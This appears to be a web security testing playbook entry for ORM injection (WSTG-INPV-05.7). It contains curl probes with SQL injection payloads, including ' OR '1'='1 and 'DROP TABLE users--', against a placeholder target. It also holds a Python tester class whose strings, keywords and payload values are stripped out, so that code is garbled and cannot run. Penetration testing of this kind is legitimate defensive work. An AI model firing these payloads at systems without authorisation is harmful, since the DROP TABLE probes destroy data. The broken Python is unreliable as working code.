wstg-inpv-05-7

name	wstg-inpv-05.7
description	Testing for ORM Injection
category	input-validation
owasp_id	WSTG-INPV-05.7
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	[]
cwe_ids	[]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-inpv-05.7

Test ID

WSTG-INPV-05.7

Test Name

Testing for ORM Injection

High-Level Description

ORM (Object-Relational Mapping) Injection occurs when attackers exploit vulnerabilities in ORM frameworks (Hibernate, SQLAlchemy, ActiveRecord, Entity Framework) by manipulating query parameters or HQL/JPQL/LINQ queries. Even though ORMs provide abstraction, improper use can still lead to injection vulnerabilities.

---

What to Check

• HQL/JPQL injection (Hibernate/JPA)
• Dynamic query building
• Raw SQL within ORM
• Query parameter manipulation
• Filter/Order injection
• Mass assignment vulnerabilities

---

How to Test

Step 1: Identify ORM Injection Points

#!/bin/bash
TARGET="https://target.com"

# Test common ORM injection patterns
echo "[*] Testing for ORM injection..."

# HQL/JPQL style injection
curl -s "$TARGET/users?filter=' OR '1'='1"
curl -s "$TARGET/users?sort=name; DROP TABLE users--"

# Django ORM injection
curl -s "$TARGET/api/users?ordering=;DROP TABLE users--"

# Ruby/Rails ActiveRecord
curl -s "$TARGET/users?order=name);--"

Step 2: ORM Injection Tester

#!/usr/bin/env python3
"""
ORM Injection Vulnerability Tester
Tests for Hibernate, Django, SQLAlchemy, ActiveRecord injection
"""

import requests
import re

class ORMInjectionTester:
     ():
        .url = url
        .findings = []
        .session = requests.Session()

    
    ORM_ERRORS = {
        : [
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
    }

    
    PAYLOADS = {
        : [
            ,
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
            ,
            ,  
        ],
        : [
            {: },  
            {: },  
            {: },
        ],
    }

     ():
        
        ()

         payload  .PAYLOADS[]:
            :
                response = .session.get(.url, params={param: payload})

                
                 orm, patterns  .ORM_ERRORS.items():
                     pattern  patterns:
                         re.search(pattern, response.text, re.IGNORECASE):
                            ()
                            ()
                            .findings.append({
                                : ,
                                : payload,
                                : 
                            })
                             

                
                 response.status_code == :
                    ()

             Exception  e:
                

         

     ():
        
        ()

        filter_params = [, , , , , ]

         param  filter_params:
             payload  .PAYLOADS[]:
                :
                    response = .session.get(.url, params={param: payload})

                    
                     orm, patterns  .ORM_ERRORS.items():
                         pattern  patterns:
                             re.search(pattern, response.text, re.IGNORECASE):
                                ()
                                ()
                                .findings.append({
                                    : ,
                                    : param,
                                    : payload,
                                    : 
                                })

                 Exception  e:
                    

     ():
        
        ()

        
        lookups = [
            (, ),
            (, ),
            (, ),
            (, ),
            (, ),
            (, ),  
        ]

         field, value  lookups:
            :
                response = .session.get(.url, params={field: value})

                 response.status_code ==   (response.text) > :
                    ()

             Exception  e:
                

     ():
        
        ()

        raw_payloads = [
            ,
            ,
            ,
        ]

         payload  raw_payloads:
            :
                response = .session.get(.url, params={: payload})

                
                 re.search(, response.text, re.IGNORECASE):
                    ()

             Exception  e:
                

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()
                   f:
                    ()
                   f:
                    ()

     ():
        
        .test_hql_injection()
        .test_filter_injection()
        .test_django_orm()
        .test_raw_sql_in_orm()
        .generate_report()


tester = ORMInjectionTester()
tester.run_tests()